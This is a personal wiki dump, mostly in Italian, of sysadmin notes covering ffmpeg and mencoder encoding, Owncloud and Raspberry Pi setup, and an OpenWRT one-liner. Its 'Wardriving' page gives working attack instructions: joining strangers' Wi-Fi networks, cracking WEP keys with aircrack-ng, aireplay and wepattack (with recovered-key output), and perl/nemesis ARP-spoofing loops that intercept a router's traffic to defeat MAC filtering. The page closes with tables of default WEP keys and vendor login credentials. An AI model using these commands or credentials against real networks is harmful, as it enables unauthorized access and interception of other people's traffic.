==== TS (Transport Stream) ====

mencoder -of lavf -lavfopts format=mpegts \
-lavcopts vcodec=mpeg2video:acodec=mp2:abitrate=224:vbitrate=3200 -o test2_mpegts_1109.m2t \
-ovc lavc -oac lavc /export/data/mediaroot/video/mid/1109.mp4

==== PES (Packetized Elementary Stream) ====

=== DV ===

==== From Mpeg DVD (vob) ====

ffmpeg -i /mnt/win/linux/dvd_da_convertire/kidd-pivot-01.MPG -target dv /media/LACIE/temp/kidd-pivot-01.dv

=== 3pg Mobile Phones ===
* Nokia XpressMusic, display:320x240

==== mpeg4 libamr_nb ====
ffmpeg -i "$video" -s 320x240 -r 14.99 -vcodec mpeg4 -ac 1 -ar 8000 -acodec libamr_nb -b 80k -ab 10.2k -y $out
==== mpeg4 libamr_wb (va a scatti l'audio) ====
ffmpeg -i "$video" -s 320x240 -r 14.99 -vcodec mpeg4 -ac 1 -ar 8000 -acodec libamr_nb -b 224k -ab 12.2k
==== mpeg4 libamr_wb (va a scatti l'audio) ====
ffmpeg -i "$video" -s 320x240 -r 14.99 -vcodec mpeg4 -ac 1 -ar 16000 -acodec libamr_wb -b 100k -ab 18.25k -y

ffmpeg -i "$video" -s 320x240 -r 14.99 -vcodec mpeg4 -ac 1 -ar 16000 -acodec libamr_wb -b 80k -ab 12.65k -y
==== h263p mp3 (non letto da cell Nokia per via dell'audio mp3) ====
ffmpeg -i "$video" -s qcif -r 20 -vcodec h263p -acodec mp3 -ar 22050 -b 128k -ab 32k -y $out

----

=== H.264 (x264) ===
http://www.mplayerhq.hu/DOCS/HTML/en/menc-feat-x264.html

http://en.wikipedia.org/wiki/X264

http://en.wikipedia.org/wiki/H.264

====Very high quality====
subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid:weight_b 6fps 0dB
====High quality====
subq=5:8x8dct:frameref=2:bframes=3:b_pyramid:weight_b 13fps -0.89dB
====Fast====
subq=4:bframes=2:b_pyramid:weight_b 17fps -1.48dB

mencoder -v -o video.264

level_idc=41:bframes=3:frameref=2:nopsnr:nossim:pass=1:threads=auto

mencoder $ifile -of avi -vf scale=352:288 -ovc x264 \
-x264encopts bitrate=1000:subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid:weight_b:threads=auto \
-o Desktop/test2641.avi

mencoder $ifile -of avi -ovc x264 -x264encopts bitrate=3000:subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid:weight_b:threads=auto \
-o Desktop/test2641.avi

mencoder $ifile -of avi -ovc x264 \
-x264encopts bitrate=500:subq=5:8x8dct:frameref=2:bframes=3:b_pyramid:weight_b:threads=auto \
-o Desktop/test2641.avi

----

=== AVID ===
ffmpeg -i ../hi/1906.dv -vcodec libx264 -b 4096000 -t 10 -subq 6 -acodec libfaac -ar 48000 -ab 128000 -ac 2 -f mp4 1906_ffmpeg_Afaac_Vx264.mp4
ffmpeg -i ../hi/1906.dv -vcodec libx264 -b 4096000 -t 10 -subq 6 -acodec libfaac -ac 2 -f mp4 1906_ffmpeg_Afaac_Vx264.mp4

----

=== Working with PIPEs ===

* esempio da omf file di avid
mkfifo videopipe
Aprire nuova shell:
cat videopipe | ffmpeg -i - -target dv output.dv
Toranre alla vecchia shell:
mencoder <filevideo.omf> -ovc copy -oac pcm -o videopipe
Quando i due hanno terminato il play e l'encoding:
'''unlink videopipe'''

* reccare e encodare DV
dvgrab --autosplit --format raw -|ffmpeg -f dv -i - -target vcd f.mpg

*Encode from a pipe:
rar p test-SVCD.rar | mencoder -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=800 -ofps 24 -

----

=== Flash FLV ===
==== encode in flv (avi to flv) (mpg to flv) ffmpeg ====
ffmpeg -y -i dumpato2.avi -acodec mp3 -f flv dumpato2.flv

video_directory/ # for clip in ls ./*.* ; do ffmpeg -y -i "$clip" -acodec mp3 -f flv /scratch/`echo "$clip"|sed -e s@' '@'_'@g`; done

=== mp3 ===

==== all aiff in a directory to mp3 ====

for file in *.aiff ; do ffmpeg -i "$file" -f mp3 -ab 320000 -ar 48000 "$file.mp3" ; done
rename .aiff.mp3 .mp3 *.aiff.mp3
----

=== Problem -> Solution ===

==== Encoding ====
* convertendo in x264 con RedHat 5.2 il video in uscita risulta corrotto
** is the x264 library that updatig casuses the problem

== bit rate ==
* values can be specified using '''''1'''M''''' or ''1024'''K''''' or '''''1 048 576'''''
** '''-b''' ''1024'''K'''''
** '''-minrate''' 800K
** '''-maxrate''' 1400K
** '''-bufsize''' 120K

== Troubleshooting ==
=== cannot open shared object file: No such file or directory ===

ldd `which ffmpeg`
libavdevice.so.52 => not found
libavfilter.so.1 => not found
libavformat.so.52 => not found
libavcodec.so.52 => not found
libswscale.so.0 => not found
libavcore.so.0 => not found
libavutil.so.50 => not found
libm.so.6 => /lib/libm.so.6 (0x006c3000)
libpthread.so.0 => /lib/libpthread.so.0 (0x007e9000)
libc.so.6 => /lib/libc.so.6 (0x00575000)
/lib/ld-linux.so.2 (0x00557000)

find /usr/local/lib/ | grep -E "libavdevice.so.52|libavfilter.so.1|libavcodec.so.52|libavcore.so.0"

lddconfig

== FFmpeg Math expresisons ==

* very powerful "under the hood" part of this software:

* using expresisons in ''scale'' filter: [[MPLAYER_MENCODER#.22not_divisible_by_2.22]]

=== from ffmpeg documentation ===

* item E, PI, PHI
** the corresponding mathematical approximated values for e (euler number), pi (greek PI), phi (golden ratio)

* ''in_w, in_h'' the input width and heigth

* ''iw, ih same as @var{in_w} and @var{in_h}

* ''out_w, out_h'' the output (cropped) width and heigth
** ''ow, oh'' same as @var{out_w} and @var{out_h}

* ''a'' input display aspect ratio, same as @var{iw} / @var{ih}

* ''hsub, vsub'' horizontal and vertical chroma subsample values.
** For example for the pixel format "yuv422p" @var{hsub} is 2 and @var{vsub} is 1.

* If the input image format is different from the format requested by the next filter,
** the scale filter will convert the input to the ratio of the input image.

* default value of @var{width} and @var{height} is 0.

* '''Some examples follow:''

* scale the input to 2x
scale=2*iw:2*ih
same as
scale=2*in_w:2*in_h

* scale the input to half size
scale=iw/2:ih/2

* increase the width, and set the height to the same size
scale=3/2*iw:ow

* seek for Greek harmony
scale=iw:1/PHI*iw
scale=ih*PHI:ih

* increase the height, and set the width to 3/2 of the height
scale=3/2*oh:3/5*ih

* increase the size, but make the size a multiple of the chroma
scale="trunc(3/2*iw/hsub)*hsub:trunc(3/2*ih/vsub)*vsub"

* increase the width to a maximum of 500 pixels, keep the same input aspect ratio
scale='min(500\, iw*3/2):-1'

http://ffmpeg.mplayerhq.hu/ffmpeg.html

When evaluating an arithmetic expression, FFmpeg uses an internal formula evaluator, implemented through the `libavutil/eval.h' interface.

An expression may contain unary, binary operators, constants, and functions.

Two expressions expr1 and expr2 can be combined to form another expression "expr1;expr2".

expr1 and expr2 are evaluated in turn, and the new expression evaluates to the value of expr2.

The following binary operators are available: +, -, *, /, ^.

The following unary operators are available: +, -.

The following functions are available:
<pre>

`sinh(x)'
`cosh(x)'
`tanh(x)'
`sin(x)'
`cos(x)'
`tan(x)'
`atan(x)'
`asin(x)'
`acos(x)'
`exp(x)'
`log(x)'
`abs(x)'
`squish(x)'
`gauss(x)'
`isnan(x)'
Return 1.0 if x is NAN, 0.0 otherwise.
`mod(x, y)'
`max(x, y)'
`min(x, y)'
`eq(x, y)'
`gte(x, y)'
`gt(x, y)'
`lte(x, y)'
`lt(x, y)'
</pre>
* `st(var, expr)'
** Allow to store the value of the expression expr in an internal variable. var specifies the number of the variable where to store the value, and it is a value ranging from 0 to 9. The function returns the value stored in the internal variable.
* `ld(var)'
** Allow to load the value of the internal variable with number var, which was previosly stored with st(var, expr). The function returns the loaded value.
*`while(cond, expr)'
** Evaluate expression expr while the expression cond is non-zero, and returns the value of the last expr evaluation, or NAN if cond was always false.
*`ceil(expr)'
** Round the value of expression expr upwards to the nearest integer. For example, "ceil(1.5)" is "2.0".
*`floor(expr)'
** Round the value of expression expr downwards to the nearest integer. For example, "floor(-1.5)" is "-2.0".
*`trunc(expr)'
** Round the value of expression expr towards zero to the nearest integer. For example, "trunc(-1.5)" is "-1.0".
*`sqrt(expr)'
** Compute the square root of expr. This is equivalent to "(expr)^.5".
*`not(expr)'
** Return 1.0 if expr is zero, 0.0 otherwise.
*`pow(x, y)'
** Compute the power of x elevated y, it is equivalent to "(x)^(y)".

* works like AND

+ works like OR

<syntaxhighlight lang="php" >
if A then B else C
</syntaxhighlight>
is equivalent to
<syntaxhighlight lang="php" >
A*B + not(A)*C
</syntaxhighlight>

OpenWRT

2024-07-26T20:33:13Z

Porcelinux: Created page with " Upgrade all upgradable packages root@antest:~# opkg list-upgradable | cut -f 1 -d ' ' | xargs -r opkg upgrade"

Upgrade all upgradable packages
root@antest:~# opkg list-upgradable | cut -f 1 -d ' ' | xargs -r opkg upgrade

Owncloud

2024-07-05T22:04:17Z

Porcelinux:

== Installation ==
I avoid package manager installations due to avoidable bad experiences.

unpacking the source in your /var/www/cloud or deploying a docker image, are surely better solutions for long term stability

https://www.howtoforge.com/how-to-install-owncloud-on-debian-12/

== cli ==
<code>sudo -u www-data ./occ background:queue:delete 12

Job has been deleted.</code>
$ php occ app:enable encryption

$ php occ encryption:status
- enabled: true
- defaultModule: OC_DEFAULT_MODULE

$ php occ encryption:decrypt-all

$encryption:list-modules
- OC_DEFAULT_MODULE: Default encryption module [default*]

$ php occ encryption:show-key-storage-root
Current key storage root: default storage location (data/)

=== DAV ===
srv:# cadaver https://example.com/cloud/remote.php/webdav/

Authentication required for ownCloud on server `example.com':
Username: abcd
Password:
dav:/cloud/remote.php/webdav/> ls
...
= Troubleshooting =

=== Encription errors: ===
OwnCloud uses a legacy ssl module, on recent distributions, this is disabled by default:https://doc.owncloud.com/server/10.14/admin_manual/installation/manual_installation/manual_installation_prerequisites.html#openssl-version

multikeydecrypt with share key failed:error: 0308010C:digital envelope routines::unsupported

-> Need to modify '''/etc/ssl/openssl.cnf''' to enable legacy support:
[openssl_init]
providers = provider_sect

# List of providers to load
[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1
[legacy_sect]
activate = 1

== DAV client connection problem with php-fpm ==
*fix the DAV client connection problem with php-fpm

OPTIONS /index.php/login HTTP/1.1" 405

owncloud PROPFIND /remote.php/webdav/ HTTP/1.1" 401
* setting the following in the VH solved the problem
<IfModule setenvif_module>
SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
</IfModule>

=== ModSecurity ===
*moreover, if you're using ModSecurity, it will block some weird encoded files:

[id "200002"] [msg "Failed to parse request body."]

* /etc/modsecurity/modsecurity.conf
SecRule REQUEST_URI /PATH/GIVING/ERROR "phase:1,id:12346,nolog,chain"
SecRule REQUEST_BODY_LENGTH "@eq 0" "ctl:requestBodyAccess=off"

Owncloud

2024-07-05T21:15:23Z

Porcelinux:

== Installation ==
I avoid package manager installations due to avoidable bad experiences.

unpacking the source in your /var/www/cloud or deploying a docker image, are surely better solutions for long term stability

https://www.howtoforge.com/how-to-install-owncloud-on-debian-12/

== cli ==
$ php occ app:enable encryption

$ php occ encryption:status
- enabled: true
- defaultModule: OC_DEFAULT_MODULE

$ php occ encryption:decrypt-all

$encryption:list-modules
- OC_DEFAULT_MODULE: Default encryption module [default*]

$ php occ encryption:show-key-storage-root
Current key storage root: default storage location (data/)

=== DAV ===
srv:# cadaver https://example.com/cloud/remote.php/webdav/

Authentication required for ownCloud on server `example.com':
Username: abcd
Password:
dav:/cloud/remote.php/webdav/> ls
...
= Troubleshooting =

=== Encription errors: ===
OwnCloud uses a legacy ssl module, on recent distributions, this is disabled by default:https://doc.owncloud.com/server/10.14/admin_manual/installation/manual_installation/manual_installation_prerequisites.html#openssl-version

multikeydecrypt with share key failed:error: 0308010C:digital envelope routines::unsupported

-> Need to modify '''/etc/ssl/openssl.cnf''' to enable legacy support:
[openssl_init]
providers = provider_sect

# List of providers to load
[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1
[legacy_sect]
activate = 1

== DAV client connection problem with php-fpm ==
*fix the DAV client connection problem with php-fpm

OPTIONS /index.php/login HTTP/1.1" 405

owncloud PROPFIND /remote.php/webdav/ HTTP/1.1" 401
* setting the following in the VH solved the problem
<IfModule setenvif_module>
SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
</IfModule>

=== ModSecurity ===
*moreover, if you're using ModSecurity, it will block some weird encoded files:

[id "200002"] [msg "Failed to parse request body."]

* /etc/modsecurity/modsecurity.conf
SecRule REQUEST_URI /PATH/GIVING/ERROR "phase:1,id:12346,nolog,chain"
SecRule REQUEST_BODY_LENGTH "@eq 0" "ctl:requestBodyAccess=off"

Raspberrypi

2024-02-07T20:25:45Z

Porcelinux: /* config */

http://www.raspberrypi.org/documentation/configuration/config-txt.md

= casting to a raspberry =

apt-get install libwidevinecdm0

= installing 7 Display =

There are 4 jumper wires (Red, Black, Yelow & Green) that connect to the following pins on the LCD controller board:

Red wire to pin marked 5V
Green wire to pin marked SDA
Yellow wire to pined marked SCL
Black wire to pin marked GND

The other end of the wires will connect to the following pins on the Raspberry Pi computer board:

Red wire to pin 2
Green wire to pin 3
Yellow wire to pin 4
Black wire to pin 6

* Xorg modifications

Paste in: /etc/X11/xorg.conf

Section "InputClass"
Identifier "calibration"
Driver "evdev"
MatchProduct "FT5406 memory based driver"

Option "EmulateThirdButton" "1"
Option "EmulateThirdButtonTimeout" "750"
Option "EmulateThirdButtonMoveThreshold" "30"
EndSection

= installing 3.5 Display =

there are various models of the same 3.5 display, two are listed here

sudo rm -rf LCD-show
git clone https://github.com/goodtft/LCD-show.git
chmod -R 755 LCD-show
cd LCD-show/

* MHS-3.5inch_RPi_Display

http://www.lcdwiki.com/MHS-3.5inch_RPi_Display

cd LCD-show/
sudo ./MHS35-show

* V3 3.5inch_RPi_Display

cd LCD-show/
sudo ./LCD35-show

* rotate display
cd LCD-show/
sudo ./rotate.sh 90 .. 180 270

= config =

== DSI lines ==
DSI lines are disabled by default. To enable detection, add the following line to /boot/config.txt:

ignore_lcd=0

== 3.5mm jack output sound ==

If using the Raspberry Pi 3.5mm jack to output sound, sound quality can be improved by adding the following line to your boot/config.txt file:

audio_pwm_mode=2

== HDMI audio ==

in config.txt, this lines will force the audio output to the analog jack
dtparam=audio=on
audio_pwm_mode=2
hdmi_ignore_edid_audio=1
disable_audio_dither=1

= software =
* on screen keyboard
apt-get install matchbox-keyboard
or
sudo apt-get install florence

== Raspbian 11 ==

=== LAn iface names ===

iface names are renamed to enx???? .... very bad

* in /boot/cmdline.txt
net.ifnames=0 biosdevname=0

Raspberrypi

2024-02-07T20:21:43Z

Porcelinux: /* config */

http://www.raspberrypi.org/documentation/configuration/config-txt.md

= casting to a raspberry =

apt-get install libwidevinecdm0

= installing 7 Display =

There are 4 jumper wires (Red, Black, Yelow & Green) that connect to the following pins on the LCD controller board:

Red wire to pin marked 5V
Green wire to pin marked SDA
Yellow wire to pined marked SCL
Black wire to pin marked GND

The other end of the wires will connect to the following pins on the Raspberry Pi computer board:

Red wire to pin 2
Green wire to pin 3
Yellow wire to pin 4
Black wire to pin 6

* Xorg modifications

Paste in: /etc/X11/xorg.conf

Section "InputClass"
Identifier "calibration"
Driver "evdev"
MatchProduct "FT5406 memory based driver"

Option "EmulateThirdButton" "1"
Option "EmulateThirdButtonTimeout" "750"
Option "EmulateThirdButtonMoveThreshold" "30"
EndSection

= installing 3.5 Display =

there are various models of the same 3.5 display, two are listed here

sudo rm -rf LCD-show
git clone https://github.com/goodtft/LCD-show.git
chmod -R 755 LCD-show
cd LCD-show/

* MHS-3.5inch_RPi_Display

http://www.lcdwiki.com/MHS-3.5inch_RPi_Display

cd LCD-show/
sudo ./MHS35-show

* V3 3.5inch_RPi_Display

cd LCD-show/
sudo ./LCD35-show

* rotate display
cd LCD-show/
sudo ./rotate.sh 90 .. 180 270

= config =

== DSI lines ==
DSI lines are disabled by default. To enable detection, add the following line to /boot/config.txt:

ignore_lcd=0

== 3.5mm jack output sound ==

If using the Raspberry Pi 3.5mm jack to output sound, sound quality can be improved by adding the following line to your boot/config.txt file:

audio_pwm_mode=2

= software =
* on screen keyboard
apt-get install matchbox-keyboard
or
sudo apt-get install florence

== Raspbian 11 ==

=== LAn iface names ===

iface names are renamed to enx???? .... very bad

* in /boot/cmdline.txt
net.ifnames=0 biosdevname=0

Wardriving

2023-05-11T06:43:22Z

Porcelinux: /* Default Passwords by Manufacturer */

== Chi è un Wardriver? ==
* Wardriver è quell'uomo che se ne va ingiro, portatile alla mano a cercare connessioni wireless e ne traccia una mappa. Non importa l'uso che ne fa, se ci navigherà sarà un wardriver ''buono'' se attaccherà, decripterà o ingannerà la rete trovata, sarà + un hacker che un wardriver.

* Io consiglio di utilizzare un pc con linux e una scheda 802.11x con chip Atheros (madwifi). Solitamente D-Link Xtreme.
<gallery>
Image:antenna_wifi_1.jpg|Antenna Yaghi Strana
Image:pc_wifi_pci_1.jpg|Coputer con scheda WifiPCI
Image:pc_wifi_pcmcia_1.jpg|Portatile con scheda D-Link PCMCIA (ridotta maluccio)
Image:wifi_ap_dlink_1.jpg|Access Point D-Link
</gallery>

== Scroccare internet ==
* una volta configurata la scheda, come ath0 (o eth1 eth7, wlan0 ecc. dipende dalla scheda e dalla distrib.)
siamo pronti per dare un'occhiata e wardriverare.

* diciamo alla scheda di agganciarsi a qualsiasi rete, qualsiasi canale.
iwconfig ath0 essid any channel 0
* scanniamo l'aria...
iwlist ath0 scanning
appariranno tutte le reti disponibili, ora bisogna scegliere la rete
* Prendiamo come esempio la rete '''wireless'''
iwconfig ath0 essid wireless
* se siamo connessi alla rete, vedremo il BSSID dell'acces point.
iwconfig ath0
ifconfig ath0 up
* la rete adesso è ''su'' , ma manca il livello IP, le opzioni sono 2
** chiedere un ip all'accespoint
dhclient ath0
* oppure scegliere delle reti a caso, partenda dalla + probabile:
ifconfig ath0 192.168.1.166
* oppure
ifconfig ath0 192.168.0.166
* oppure
ifconfig ath0 192.168.100.166
* oppure
ifconfig ath0 172.16.0.166
* oppure
ifconfig ath0 10.1.1.166
* una volta trovata la rete proviamo a fare u nping al router/access point
ping 192.168.1.1
** se ci ponga al ping, siamo connessi ed è probabile che riusciremo anche a navigare
** se non pinga, i motivi possono essere un numero molto alto
# Il router ha un firewall che blocca il ping
# il router ha impostata la sicurezza a livello MAC, una lista di schede di rete accettabili, e il blocco di tutte le schede non ''conosciute'' --> vedi + in basso:
# il router ha una WEP/WPA, password di protezione.
# mentre facevamo il comando di ping, il router si è misteriosamente spento, oppure si è persa la connessione per qualche fattore ambientale, hanno chiuso una finestra (di quelle vere) o qualcuno si è messo tra noi e l'antenna.
# non abbiamo azzeccato l'ip del router (di solito è il .1 di una rete, di solito..)
# la scheda non funziona
# la spina è attaccata?
# ecc..
----
=== Trovare reti all'infinito ===
* se hai un'antenna con cavo e vuoi provare a muoverla per migliorare la ricezione, il comando watch fa comodo.
#!/bin/sh
iwconfig ath0 essid any
watch 'iwlist ath0 scanning |grep -2 Channel'

== Niente Paura della WEP ==

=== Aircrack ===

WLAN_39-1.cap è il file dove ho catturato i pacchetti

aircrack-ng -a1 -eWLAN_39 -b00:60:B3:FD:70:57 -m00:0E:35:07:38:B7 -s WLAN_39-1.cap

aircrack-ng -a 1 -m 00:16:0A:06:8B:B3 -b 00:16:0A:06:2A:9C -e "Sweex LW050" -s dump-w-1-ch-6-02.cap
Aircrack-ng 1.0

[00:00:17] Tested 13626 keys (got 904240 IVs)

KB depth byte(vote)
0 0/ 1 6E(1259008) F8(943360) 0A(937216) 99(935936) 89(935680) A0(934400) 38(932608) 78(932608) 73(930816)
1 0/ 1 69(1231616) 61(944640) 06(941824) C4(941312) 42(940544) 95(935936) 21(935424) E3(933632) 32(932352)
2 0/ 1 63(1238016) E6(945920) E7(944640) 4E(936192) D9(932608) 27(932352) 3E(932096) 93(931072) EE(931072)
3 0/ 1 6F(1248256) 63(938496) 6A(936704) 4D(936448) 92(934400) 60(932352) 25(931584) 6B(929792) E8(927488)
4 0/ 1 31(1227264) B4(947200) DF(943616) 7C(938752) 7B(934656) 30(931328) D9(929792) E5(929536) 0B(928256)
5 0/ 1 33(1232896) 7C(950528) 50(946688) 36(941824) E2(941568) 3F(938240) 89(937472) C1(933632) 68(933376)
6 0/ 1 35(1192192) 72(946944) FD(944128) CA(939776) 6B(938240) 81(935936) 97(933632) 4B(933376) 6D(932608)
7 0/ 1 38(1197824) EA(941312) C7(938240) 2A(935424) B4(934400) 85(932864) 79(930048) 4F(929536) F1(928512)
8 0/ 1 32(1180672) 43(946432) DF(940544) 2B(935680) 4D(934912) 1C(934144) 7A(933888) FB(933376) 98(931840)
9 0/ 1 33(1200128) A0(950016) 39(939520) C9(939264) B4(937984) 59(934912) 66(933376) 0A(932608) EE(932608)
10 0/ 1 7A(961024) 35(941824) 8F(941312) 06(938752) A7(935424) 23(934656) 08(933632) C3(933632) 24(933376)
11 3/ 1 AF(938496) 82(935936) 9C(934912) B1(934400) 11(932864) 1D(932608) 1B(931840) FC(931840) 40(930304)
12 0/ 1 34(1059824) 15(947576) 63(937100) EF(931872) 7D(930464) CE(929532) EC(928572) 9E(927728) D8(927612)

KEY FOUND! [ 6E:69:63:6F:31:33:35:38:32:33:35:38:34 ] (ASCII: nico135823584 )
Decrypted correctly: 100%

== WPA ==

http://docs.alkaloid.net/index.php/Cracking_WEP_and_WPA_Wireless_Networks#WPA_Crackin

=== Generare traffico ===

* con aireplay si fa così:
aireplay ath0 -3 -b 00:11:95:9D:74:1C -h 00:90:96:65:E5:47 -a 00:11:95:9D:74:1C -e ADSL-WIRELESS

* Nel frattempo catturiamo con airodump:
airodump ath0 WLAN_11-1 6
L'output + o meno sarà:
BSSID PWR Beacons IP / # Data CH MB ENC ESSID
00:11:95:9D:74:1C 10 8595 101469 6 54 WEP ADSL-WIRELESS
BSSID STATION PWR Packets ESSID
00:11:95:9D:74:1C 00:90:96:65:E5:47 -2 56435 ADSL-WIRELESS

=== AccessPoints WLAN_XX ===

* Ho ricevuto un router dalla mia compagnia telefonica con una wep impostata, ma ho perso il foglietto con la chiave... la troverò usando un programma chiamato wlandecrypter usato assieme a wepattack. Servirà anche airodump.

* vediamo che canale, che essid e che bssid (AP MAC) ha:
iwlist ath0 scan

* Catturo i pacchetti: (airodump "interfaccia_wifi" "output_file" "channel")
airodump ath0 WLAN_12 6

* aspetto fino a che non cominciano ad entrare pacchetti di dati ("Data"), poi quando cominciano a essere almeno una decina o un centinaio, premo Control-C per interrompere.

* adesso passo il file .cap che ha generato airodump e lo passo a wepcrack(airodump genera 2 file, un .cap con i pacchetti e un .txt con le informazioni sugli host e gli AP) wlandecrypter bssid essid | wepattack -f output_name.cap
wlandecrypter 00:60:B3:XX:70:XX WLAN_12 | wepattack -f WLAN_12.cap

*L'output sarà + o meno questo:
wlandecrypter 0.4 - (c) 2006 nilp0inter2k6_at_gmail.com
------------> http://www.rusoblanco.com <------------

[+] BSSID: 00:60:B3:77:77:77
[+] Modelo: Z-com
[+] ESSID: WLAN_39
[+] Seleccionada salida estandar

Extraction of necessary data was successfull!

Founded BSSID:
1) 00 60 B3 FD 70 77 / Key 0
1 network loaded...

Accepting wordlist data...

key no. 10000: Z001349270F39
key no. 20000: Z0013494E1F39
key no. 30000: Z001349752F39

++++++++++ Packet decrypted! ++++++++++
BSSID: 00 60 B3 44 44 44 / Key 0 WepKey: 5A 30 30 31 33 34 39 37 42 30 32 33 39 (Z0013497B0239)
Encryption: 128 Bit

time: 11.580097 sec words: 31492

=== Access Points SpeedTouccXXXXX / ThomsonXXXX ===

The default password is generated by an algorithm so, with a simple "while" you can get the password from the mac address and the ESSID , there is a software to do that or a website.

http://www.nickkusters.com/SpeedTouch.aspx

== Filtraggio di MAC ==
* Questo sistema di protezione ha senso ma non troppo perché l'indirizzo univoco della scheda wifi può essere falsificato, per esempio si potrebbe copiare quello che usa l'utente della rete e farsi scambiare per ''amico'' dall'accespoint. Ecco come si fa:
** è necessario avere perl
** è necessario il programma '''nemesis'''
** anche uno sniffer serve, come tcpdump o meglio (+ visuale) ethereal e ethereal-gnome come interfaccia.
** sarà molto utile la tabella a pié di pagina, sulle password di fabbrica dei router e/o access points.
** immaginazione.
=== Trovare un indirizzo mac autorizzato: ===
# connettiamoci alla rete, anche se non riceviamo e non possiamo inviare pacchetti, basta che la scheda sia associata all'acces point (si vede il BSSID da '''iwconfig''' che è tipo un xx:xx:xx:xx:xx:xx....)
# apriamo il nostro sniffer, e cominciamo ad annotarci tutti gli indirizzi MAC che vediamo. Escludiamo quello della nostra scheda,
tcpdump -i ath0 -n -e -q ether host '''00:01:38:4D:83:E9'''
* questo comando comincerà a stampare linee tate quanti pacchetti passano per l'interfaccia ''ath0'' e che abbiano il mac address del mittente o ricevente = a "00:01:38:4d:83:e9"
14:49:26.143433 00:01:38:4d:83:e9 > 00:13:8f:a3:0c:07, IPv4, length 60: 212.35.207.11.80 > 192.168.1.82.36491: tcp 0
14:49:26.296083 00:01:38:4d:83:e9 > 00:13:8f:a3:0c:07, IPv4, length 379: 207.46.109.59.1863 > 192.168.1.82.45046: tcp 313
14:49:26.296126 00:13:8f:a3:0c:07 > 00:01:38:4d:83:e9, IPv4, length 66: 192.168.1.82.45046 > 207.46.109.59.1863: tcp 0
* vediamo che 00:01:38:4d:83:e9 comunica con 00:13:8f:a3:0c:07, quindi se questo non è il MAC della nostra scheda, possiamo prendelo come documento falso da usare con il router, con nemesis:
** MAC mia scheda 00:01:29:25:27:0e
** MAC router 00:01:38:4d:83:e9 -> IP 192.168.1.1
** MAC utente autorizzato router: 00:13:8f:a3:0c:07 -> IP 192.168.1.200

* ora bisogna creare un triango, ossia far credere al router che l'utente siamo noi e contemporaneamente all'utente che il router siamo noi. Questo è possibile generando un pacchetto che dica: ''''sono il router e ho questo MAC(il nostro)'''' all'utente e ''''sono l'utente e ho questo MAC(il nostro)'''' al router.
* parliamo con il router:
perl -e 'while(1){print "Deviando..\n"; system(" \
nemesis arp -v -r -d ath0 \
-S 192.168.1.200 -D 192.168.1.1 \
-h 00:01:29:25:27:0e -m 00:0B:6A:76:97:AF \
-H 00:00:61:74:68:30 -M 00:0B:6A:76:97:AF \
"); sleep 10; }'
* parliamo con l'utente:
perl -e 'while(1){print "Deviando..\n"; system(" \
nemesis arp -v -r -d ath0 \
-S 192.168.1.1 -D 192.168.1.200 \
-h 00:01:29:25:27:0e -m 00:13:8f:a3:0c:07 \
-H 00:01:29:25:27:0e -M 00:01:38:4d:83:e9 \
"); sleep 10; }'

* Questi comandi loopperanno all'infinito, vanno eseguiti in 2 terminali diversi oppure appiccicarli in una chiamata unica di perl, e il risultato sarà che tutto il traffico tra router e utente passerà per la nostra scheda. Così facendo possiamo preovare ad entrare nel router e aggiungere il nostro mac alla lista di "amici".

== Defaults WEP Keys ==

* CIFRADO 64BITS:

FFFFFFFFFF
0000000000
0101010101
0202020202
0303030303
0404040404

* Netgear

Default WEP KEY1: 11 11 11 11 11
Default WEP KEY2: 20 21 22 23 24
Default WEP KEY3: 30 31 32 33 34
Default WEP KEY4: 40 41 42 43 44

* CIFRADO 128BITS:

FFFFFFFFFFFFFFFFFFFFFFFFFF
00000000000000000000000000
01010101010101010101010101

* Zyxel

64-bit WEP with 5 characters
Key1= 2e3f4
Key2= 5y7js
Key3= 24fg7
Key4= 98jui

* 64-bit WEP with 10 hexadecimal digits
('0-9', 'A-F')
Key1= 0x123456789A
Key2= 0x23456789AB
Key3= 0x3456789ABC
Key4= 0x456789ABCD

* 128-bit WEP with 13 characters
Key1= 2e3f4w345ytre
Key2= 5y7jse8r4i038
Key3= 24fg70okx3fr7
Key4= 98jui2wss35u4

* 128-bit WEP with 26 hexadecimal digits
('0-9', 'A-F')
Key1= 0x112233445566778899AABBCDEF
Key2= 0x2233445566778899AABBCCDDEE
Key3= 0x3344556677889900AABBCCDDFF
Key4= 0x44556677889900AABBCCDDEEFF

== Power, dBm and mW ==

thanks to [https://www.digitalairwireless.com/articles/blog/wifi-transmit-power-calculations-made-simples]

Rule 1: The Rule of 3
If you raise the dBm value by “3″ you double the mW value:

0dBm = 1mW
3dBm = 2mW
6dBm = 4mW
9dBm = 8mW
12dBm = 16mW
15dBm = 32mW
18dBm = 64mW
21dBm = 128mW
24dBm = 256mW
27dBm = 512mW
30dBm = 1024mW (5GHz Band B legal limit)
33dBm = 2048mW
36dBm = 4096mW (5GHz Band C legal limit)

This also mean that if you lower the dBm value by “3″ you halve the mW value

Rule 2: The Rule of 10
If you raise the dBm value by “10″ you multiply the mW value by 10:

0dBm = 1mW
10dBm = 10mW
20dBm = 100mW
30dBm = 1000mW (5GHz Band B legal limit)
40dBm = 10000mW (Over the 5GHz Band C legal limit)

Yup you guessed it, if you lower the dBm value by 10 you divide the mW value by 10.

The above calculations aren’t exact, but they are typically accurate enough to get by on.

== Default Passwords by Manufacturer ==
MFabbricante Modello OS Versione Login Password
3Com - 1.25 root letmein
3Com Super Stack 2 Switch Any manager manager
3Com AccessBuilder® 7000 BRI Any - -
3Com CoreBuilder 2500 - - -
3Com Switch 3000/3300 - manager manager
3Com Switch 3000/3300 - admin admin
3Com Switch 3000/3300 - security security
3com Cable Managment System SQL Database (DOSCIC DHCP) Win2000 & MS DOCSIS_APP 3com
3Com NAC (Network Access Card) - adm none
3Com HiPer ARC Card v4.1.x of HA adm none
3Com CoreBuilder 6000 - debug tech
3Com CoreBuilder 7000 - tech tech
3Com SuperStack II Switch 2200 - debug synnet
3Com SuperStack II Switch 2700 - tech tech
3Com SuperStack / CoreBuilder - admin -
3Com SuperStack / CoreBuilder - read -
3Com SuperStack / CoreBuilder - write -
